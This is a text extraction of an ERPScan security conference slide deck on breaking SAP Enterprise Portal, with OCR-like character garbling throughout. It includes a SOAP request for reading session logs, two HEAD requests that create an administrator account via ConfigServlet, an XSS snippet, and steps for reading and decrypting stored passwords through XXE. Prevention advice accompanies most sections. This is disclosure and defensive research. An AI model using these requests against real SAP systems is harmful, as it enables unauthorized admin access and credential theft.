Breaking SAP portal (DeepSec)

1. Invest in security to secure investments Breaking SAP Portal Alexander Polyakov CTO ERPScan Dmitry Chastuchin -‐ Principal Researcher ERPScan

2. About ERPScan •  The only 360-‐degree SAP Security solu8on -‐ ERPScan Security Monitoring Suite for SAP •  Leader by the number of acknowledgements from SAP ( 150+ ) •  60+ presentaHons key security conferences worldwide •  25 Awards and nominaHons •  Research team -‐ 20 experts with experience in diﬀerent areas of security •  Headquarters in Palo Alto (US) and Amsterdam (EU) 2

3. Agenda •  Say hello to SAP Portal •  Breaking Portal through SAP Services •  Breaking Portal through J2EE Engine •  Breaking Portal through Portal issues •  Conclusion 3

4. SAP •  The most popular business applica8on •  More than 180000 customers worldwide •  74% of Forbes 500 run SAP 4

5. Meet sapscan.com hUp://erpscan.com/wp-‐content/uploads/2012/06/SAP-‐Security-‐in-‐ﬁgures-‐a-‐global-‐survey-‐2007-‐2011-‐ﬁnal.pdf 5

6. Say hello to Portal •  Point of web access to SAP systems •  Point of web access to other corporate systems •  Way for aUackers to get access to SAP from the Internet •  ~17 Portals in Switzerland, according to Shodan •  ~11 Portals in Switzerland, according to Google 6

7. EP architecture 7

8. Okay, okay. SAP Portal is important, and it has many links to other modules. So what? 8

9. SAP Management Console 9

10. SAP Management Console •  SAP MC provides a common framework for centralized system management •  Allowing to see the trace and log messages •  Using JSESSIONID from logs, aUacker can log into Portal What we can ﬁnd into logs? Right! File userinterface.log contains calculated JSESIONID But…aUacker must have creden8al for reading log ﬁle! Wrong! 10

11. SAP Management Console <?xml version="1.0"?> <SOAP-‐ENV:Envelope xmlns:SOAP-‐ENV="hUp://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="hUp:// www.w3.org/2001/XMLSchema-‐instance" xmlns:xs="hUp://www.w3.org/2001/XMLSchema"> <SOAP-‐ENV:Header> <sapsess:Session xmlns:sapsess="hUp://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-‐ENV:Header> <SOAP-‐ENV:Body> <ns1:ReadLogFile xmlns:ns1="urn:SAPControl"> <filename>j2ee/cluster/server0/log/system/userinterface.log</filename> <filter/> <language/> <maxentries>%COUNT%</maxentries> <statecookie>EOF</statecookie> </ns1:ReadLogFile> </SOAP-‐ENV:Body> </SOAP-‐ENV:Envelope> 11

12. PrevenHon •  Don’t use TRACE_LEVEL = 3 in produc8on systems or delete traces •  Install notes 927637 and 1439348 hUp://help.sap.com/saphelp_nwpi71/helpdata/en/ d6/49543b1e49bc1fe10000000a114084/frameset.htm 12

13. Single-‐Sign On 13

14. SSO (old but sHll works) •  SAP implements SSO using the Header Variable Login Module creden8als check okay cookie AUacker header_auth cookie tnx Mariano ;) 14

15. PrevenHon •  Implement proper network ﬁlters to avoid direct connec8ons to SAP •  J2EE Engine. If you use it for Windows authen8ca8on, switch to SPNegoLoginModule hUp://help.sap.com/saphelp_nw73ehp1/helpdata/en/d0/ a3d940c2653126e10000000a1550b0/frameset.htm 15

16. SAP NetWeaver J2EE 16

17. Access control Web Dynpro -‐ programma8c Portal iViews -‐ programma8c J2EE Web apps -‐ declara8ve ProgrammaHc By UME DeclaraHve By WEB.XML 17

18. DeclaraHve access control •  The central en8ty in the J2EE authoriza8on model is the security role. •  Programmers deﬁne the applica8on-‐speciﬁc roles in the J2EE deployment descriptor web.xml web-‐j2ee-‐engine.xml 18

19. 19 Verb Tampering

20. web.xml <servlet> <servlet-‐name>Cri8calAc8on</servlet-‐name> <servlet-‐class>com.sap.admin.Cri8cal.Ac8on</servlet-‐class> </servlet> <servlet-‐mapping> <servlet-‐name>Cri8calAc8on</</servlet-‐name> <url-‐paUern>/admin/cri8cal</url-‐paUern> </servlet-‐mapping <security-‐constraint> <web-‐resource-‐collec8on> <web-‐resource-‐name>Restrictedaccess</web-‐resource-‐name> <url-‐paUern>/admin/*</url-‐paUern> <hUp-‐method>GET</hUp-‐method> </web-‐resource-‐collec8on> <auth-‐constraint> <role-‐name>administrator</role-‐name> </auth-‐constraint> </security-‐constraint> 20

21. Verb Tampering •  If we are trying to get access to an applica8on using GET – we need a login:pass and administrator role •  What if we try to get access to applica8on using HEAD instead GET? •  PROFIT! •  Did U know about ctc? 21

22. Verb Tampering Need Admin account in SAP Portal? Just send two HEAD requests •  Create new user blabla:blabla HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla •  Add user blabla to group Administrators HEAD /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=blabla,GROUPNAME=Administrators Works when UME uses JAVA database 22

23. PrevenHon • Install SAP notes 1503579,1616259 • Install other SAP notes about Verb Tampering • Scan applica8ons with ERPScan WEB.XML checker • Disable the applica8ons that are not necessary 23

24. 24 Invoker servlet

25. web.xml <servlet> <servlet-‐name>Cri>calAc>on</servlet-‐name> <servlet-‐class>com.sap.admin.Cri>cal.Ac>on</servlet-‐class> </servlet> <servlet-‐mapping> <servlet-‐name>Cri>calAc>on</</servlet-‐name> <url-‐paBern>/admin/cri>cal</url-‐paBern> </servlet-‐mapping <security-‐constraint> <web-‐resource-‐collec>on> <web-‐resource-‐name>Restrictedaccess</web-‐resource-‐name> <url-‐paBern>/admin/*</url-‐paBern> <hBp-‐method>GET</hBp-‐method> <hBp-‐method>HEAD</hBp-‐method> </web-‐resource-‐collec>on> <auth-‐constraint> <role-‐name>administrator</role-‐name> </auth-‐constraint> </security-‐constraint> GET /admin/cri8cal/Cri>calAc>on GET /servlet/com.sap.admin.Cri8cal.Ac8on 25

26. Invoker Servlet •  Want to execute an OS command on J2EE server remotely? •  Maybe upload a backdoor in a Java class? •  Or sniﬀ all traﬃc ? SHll remember ctc? 26

27. Invoker Servlet 27

28. PrevenHon •  Update to the latest patch 1467771, 1445998 • “EnableInvokerServletGlobally” must be “false” •  Check all WEB.XML ﬁles with ERPScan WEBXML checker 28

29. So, where is Portal? 29

30. SAP Portal •  User access rights to objects are in the Portal Content Directory (PCD) •  Based on ACL •  2 types of access: –  (design 8me) for administrators –  (run8me) for users 30

31. Portal Permission Levels 31

32. End User permission The objects where end user permission is enabled aﬀect the following areas in Portal: –  All Portal Catalog obj with end user permission –  Authorized Portal users may access restricted Portal components by URL if they are granted permission in the appropriate security zone. 32

33. Administrator permission •  Owner = full control + modify permissions •  Full control = read/write + delete obj •  Read/Write = read+write+edit proper8es+ add/rem child •  Write (folders only) = create objects •  Read = view obj+create instances (delta links and copies) •  None = access not granted 33

34. Role Assigner permission •  The Role Assigner permission seyng is available for role objects •  It allows you to determine which Portal users are permiUed to assign other users, groups, or roles to the role principle using the Role Assignment tool 34

35. Security Zones •  Security zones allow the system administrator to control which Portal components and Portal services a Portal user can launch •  A security zone speciﬁes the vendor ID, the security area, and safety level for each Portal component and Portal service 35 Why? To group mul>ple iViews easily like ﬁles in directories

36. Security Zones •  The security zone is defined in a Portal applica8on descriptor XML file portalapps.xml •  A Portal component or service can only belong to one security zone •  Zones allows the administrator to assign permissions to a safety level, instead of assigning them directly 36 Why? To group mul>ple iViews easily like files in directories

37. 37 We can get access to Portal iViews using direct URL: /irj/servlet/prt/portal/prtroot/<iView_ID> And only Security Zone rights will be checked

38. Security Zones •  So, SecZones oﬀer an extra, but op8onal, layer of code-‐level security to iViews –  User-‐> check ”end user” permission to the role-‐> view iView –  User-‐> check ”end user” permission to the role-‐> check ”end user” permission to the SecZone -‐> view iView By default, this func8onality is disabled 38

39. 39 So I wonder how many Portal applica8ons with NoLow Safety exist?

40. Safety Levels for Security Zone •  No Safety –  Anonymous users are permiUed to access portal components defined in the security zone. •  Low Safety –  A user must be at least an authen8cated portal user to access portal components defined in the security zone. •  Medium Safety –  A user must be assigned to a par8cular portal role that is authorized to access portal components defined in the security zone •  High Safety –  A user must be assigned to a portal role with higher administra8ve rights that is authorized to access portal components defined in the security zone. 40

41. Zones with no safety Many custom applica8ons with low security level zone 41

42. PrevenHon Check security zones permissions • hUp://help.sap.com/saphelp_nw70/helpdata/en/25/85de55a94c4b5fa7a2d74e8ed201b0/frameset.htm • hUp://help.sap.com/saphelp_nw70/helpdata/en/f6/2604db05fd11d7b84200047582c9f7/frameset.htm 42

43. SAP Portal •  Web based services •  All OWASP TOP10 actual –  XSS –  Phishing –  Traversal –  XXE –  … 43

44. 44 EPCF

45. XSS •  Many XSSs in Portal •  But some8mes “hUponly” •  But when we exploit XSS, we can use the features of SAP Portal 45

46. EPCF EPCF provides a JavaScript API designed for the client-‐side communica8on between portal components and the portal core framework •  Enterprise Portal Client Manager (EPCM) •  iViews can access the EPCM object from every portal page or IFrame •  Every iView contains the EPCM object •  For example, EPCF used for transient user data buﬀer for iViews <SCRIPT> alert(EPCM.loadClientData("urn:com.sap.myObjects", "person"); </SCRIPT> 46

47. PrevenHon Install SAP note 1656549 47

48. KM Phishing SAP Knowledge Management may be used to create phishing pages 48

49. 49 FIX

50. Directory traversal 50

51. Directory traversal ﬁx bypass 51

52. PrevenHon Install SAP note 1630293 52

53. 53 Cut the Crap, Show Me the Hack

54. Breaking SAP Portal •  Found a file in the OS of SAP Portal with the encrypted passwords for administra8on and DB •  Found a file in the OS of SAP Portal with keys to decrypt passwords •  Found a vulnerability (another one ;)) which allows reading the files with passwords and keys •  Decrypt passwords and log into Portal •  PROFIT! 54

55. Read ﬁle How we can read the ﬁle? –  Directory Traversal –  OS Command execute –  XML External En8ty (XXE) 55

56. XXE in Portal 56

57. XXE in Portal 57

58. XXE Error based XXE 58

59. Breaking SAP Portal •  Ok, we can read ﬁles •  Where are the passwords? •  The SAP J2EE Engine stores the database user SAP<SID>DB; its password is here: usrsap<SID>SYSglobalsecuritydataSecStore.proper>es 59

60. Where are the passwords? (config.proper4es) rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/ SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/ SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1 60

61. Where are the passwords? (config.proper4es) rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1 61

62. 62 But where is the key?

63. SecStore.properHes 63 $internal/version=Ni4zFF4wMSeaseforCCMxegAfx admin/host/TTT=7KJuOPPs/+u +14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp +QD04b0Fh jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ $internal/check=BJRrz€eUA+bw4XCzdz16zX78u•t $internal/mode=encrypted admin/user/TTT=7KJuOPPs/+u +14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E

64. config.properHes rdbms.maximum_connec8ons=5 system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es secstorefs.lib=/oracle/TTTsapmnt/global/security/lib rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar rdbms.connec8on=jdbc/pool/TTT rdbms.ini8al_connec8ons=1 64

65. Get the password •  We have an encrypted password •  We have a key to decrypt it We got the J2EE admin and JDBC login:password! 65

66. PrevenHon •  Install SAP note 1619539 •  Restrict read access to ﬁles SecStore.proper>es and SecStore.key 66

67. Portal post exploitaHon •  Lot of links to other systems in corporate LAN •  Using SSRF, aUackers can get access to these systems What is SSRF? 67

68. SSRF History: Basics •  We send Packet A to Service A •  Service A ini8ates Packet B to service B •  Services can be on the same or different hosts •  We can manipulate some fields of packet B within packet A •  Various SSRF aUacks depend on how many fields we can control on packet B Packet A Packet B 68

69. ParHal Remote SSRF: HTTP afacks on other services HTTP Server Corporate network Direct aUack GET /vuln.jsp SSRF AUack SSRF AUack Get /vuln.jst A B 69

70. Gopher uri scheme •  Using gopher:// uri scheme, it is possible to send TCP packets –  Exploit OS vulnerabili8es –  Exploit old SAP applicaHon vulnerabiliHes –  Bypass SAP security restric8ons –  Exploit vulnerabili8es in local services More info in our BH2012 presenta8on: SSRF vs. Business Cri>cal Applica>ons hUp://erpscan.com/wp-‐content/uploads/2012/08/SSRF-‐vs-‐Businness-‐cri8cal-‐applica8ons-‐ whitepaper.pdf 70

71. Portal post-‐exploitaHon 71

72. Conclusion It is possible to protect yourself from these kinds of issues, and we are working close with SAP to keep customers secure SAP Guides It’s all in your hands Regular security assessments ABAP code review Monitoring technical security SegregaHon of DuHes 72

73. Future work Many of the researched issues cannot be disclosed now because of our good rela>onship with SAP Product Security Response Team, whom I would like to thank for coopera>on. However, if you want to be the ﬁrst to see new aBacks and demos, follow us at @erpscan and aBend future presenta>ons: •  December 6 – BlackHat (UAE, Abu Dhabi) •  December 13 – Syscan 360 (Beijing, China) 73

74. 74 Web: www.erpscan.com e-‐mail: info@erpscan.com TwiBer: @erpscan @sh2kerr @_chipik